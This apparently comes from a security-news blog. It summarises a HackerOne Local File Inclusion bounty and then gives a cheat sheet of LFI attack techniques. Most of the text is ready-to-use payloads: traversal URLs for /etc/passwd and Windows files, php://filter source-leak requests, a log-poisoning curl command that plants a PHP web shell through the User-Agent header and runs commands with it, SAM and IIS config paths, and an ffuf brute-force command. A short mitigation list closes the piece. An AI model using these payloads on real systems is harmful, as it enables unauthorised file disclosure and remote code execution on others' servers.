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In a recent HackerOne report, a security researcher earned a $600 bounty by exploiting a Local File Inclusion (LFI) vulnerability using the payload:
//c:%2fwindows%2fwin.ini
This technique allowed access to sensitive system files, demonstrating the risks of improper input validation.
You Should Know: LFI Exploitation Techniques
1. Basic LFI Payloads
Access common files on Windows/Linux:
http://vulnerable-site.com/page.php?file=../../../etc/passwd http://vulnerable-site.com/page.php?file=//c:/windows/system.ini
2. PHP Wrapper Exploits
Use PHP filters to leak source code:
http://vulnerable-site.com/page.php?file=php://filter/convert.base64-encode/resource=index.php
Decode the output with:
echo "PD9waHA..." | base64 -d
3. Log Poisoning
Inject PHP code into log files (e.g., Apache/Nginx):
curl -X GET "http://vulnerable-site.com/page.php?file=/var/log/apache2/access.log" -H "User-Agent: <?php system($_GET['cmd']); ?>"
Then execute commands via:
http://vulnerable-site.com/page.php?file=/var/log/apache2/access.log&cmd=id
4. Windows-Specific Tricks
- Access SAM database (if privileges allow):
//c:/windows/repair/sam
- Read IIS configuration:
//c:/windows/system32/inetsrv/config/applicationHost.config
5. Automation with ffuf
Brute-force common paths:
ffuf -u "http://vulnerable-site.com/page.php?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Linux.txt
What Undercode Say
LFI vulnerabilities remain a critical threat, especially when combined with other weaknesses like directory traversal or log injection. Always:
– Sanitize user input using allowlists.
– Disable dangerous PHP wrappers (php://, expect://).
– Use chroot/jail mechanisms where possible.
– Monitor file access patterns in logs.
Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Prediction
As web applications grow more complex, LFI vulnerabilities will increasingly intersect with cloud storage misconfigurations (e.g., accessing AWS instance metadata via SSRF+LFI). Researchers should explore hybrid attack vectors in 2024.
Reference: HackerOne Report
References:
Reported By: Alhasan Abbas – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
